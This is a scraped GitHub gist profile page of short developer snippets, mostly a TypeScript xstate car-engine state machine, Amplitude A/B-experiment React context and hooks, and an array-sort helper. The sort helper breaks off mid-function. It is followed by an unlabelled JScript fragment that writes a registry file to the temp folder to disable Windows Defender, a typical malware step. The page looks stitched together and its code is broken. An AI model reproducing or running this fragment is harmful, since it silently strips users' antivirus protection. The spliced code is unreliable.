Skip to content

Instantly share code, notes, and snippets.

View juliandavidmr's full-sized avatar
:octocat:
Working from home

Julian David juliandavidmr

:octocat:
Working from home
View GitHub Profile
@juliandavidmr
juliandavidmr / CarEngineStateMachine.ts
Created October 31, 2023 19:05
State machine for a car engine
import { createMachine, assign } from "xstate";
interface Context {
maxGears: number;
fuelLevel: number;
currentGear: number;
}
const engineCarMachine = createMachine<Context>(
{
@juliandavidmr
juliandavidmr / Demo.tsx
Created August 9, 2023 20:22
2022 Demo.tsx
// <Demo> must be enclosed in <ExperimentLayout>.
//
// Example:
// <ExperimentLayout>
// <Demo />
// </ExperimentLayout>
const Demo = () => {
const { isControlActive } = useExperiment();
const variantId = 'test_demo_experiment'; // TODO: update with real experiment flag key.
@juliandavidmr
juliandavidmr / useExperiment.ts
Last active August 9, 2023 20:20
2022 useExperiment.ts
import { useContext } from 'react';
import {
AmplitudeExperimentContext,
AmplitudeExperimentContextValue,
} from './ExperimentContext';
const useExperiment = (): AmplitudeExperimentContextValue => {
const context = useContext(AmplitudeExperimentContext);
@juliandavidmr
juliandavidmr / ExperimentLayout.tsx
Created August 9, 2023 20:18
2022 ExperimentLayout.tsx
import React, { FC } from 'react';
import { AmplitudeExperimentProvider } from './ExperimentProvider';
const ExperimentLayout: FC = ({ children }) => {
const debug = true; // todo: Set this const dependending your environment.
return (
<AmplitudeExperimentProvider
envExperimentKey="EXPERIMENT-ENVIRONMENT-KEY"
@juliandavidmr
juliandavidmr / ExperimentProvider.tsx
Created August 9, 2023 20:16
2022 ExperimentProvider.tsx
// ExperimentProvider.tsx
import { FC, useMemo, useState } from 'react';
import {
AmplitudeUserProvider,
Experiment,
ExperimentClient,
} from '@amplitude/experiment-js-client';
import Amplitude from 'amplitude-js';
import {
@juliandavidmr
juliandavidmr / ExperimentContext.ts
Created August 9, 2023 20:12
2022 ExperimentContext.ts
import { createContext } from 'react';
import { ExperimentClient } from '@amplitude/experiment-js-client';
export interface AmplitudeExperimentContextValue {
experiment?: ExperimentClient;
isVariantActive: (variantId: string, variantValue?: string) => boolean;
/**
* @description Returns true if the user is in the experiment with variant `control`.
*/
isControlActive: (variantId: string, defaultControl?: string) => boolean;
@juliandavidmr
juliandavidmr / AmplitudeExperimentContext.tsx
Created July 19, 2023 21:07
Create Amplitude experiment in React using Exposure Event
import { useCallback, useEffect, useState } from 'react';
import { Experiment, ExperimentClient } from '@amplitude/experiment-js-client';
import {
AmplitudeExperimentContext,
type AmplitudeExperimentContextValue,
} from './AmplitudeExperimentContext';
export interface AmplitudeExperimentProviderProps {
envExperimentKey: string;
@juliandavidmr
juliandavidmr / order_any_array_by_number_attribute.ts
Created October 4, 2021 21:21
Order any array by number attribute
export function orderArrayByNumberAttribute<T>(
array: T[],
attribute: keyof T,
order: 'asc' | 'desc',
): T[] {
return array.sort((a, b) => {
const aValue = a[attribute];
const bValue = b[attribute];
if (order === 'asc') {
var regContent = "Windows Registry Editor Version 5.00\n\n";
regContent = regContent + "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender]\n";
regContent = regContent + "\"DisableAntiSpyware\"=dword:00000001\n\n";
var sw = WSH.CreateObject("scripting.filesystemobject");
var sh = WScript.createObject("wscript.shell");
var parth = sh.ExpandEnvironmentStrings("%temp%") + "\\ebgeaegdbdecaedfebace.reg";
if (sw.fileExists(parth)) {
sw.deleteFile(parth);

Projects in progress

Projects that entertain me in my spare time.

  • i18n-editor
  • superconvert
    • Page: Decode base64.
    • Page: Encode base64.
    • Page: Generate random number (allow max/min values).
  • Page: Generate random UUID.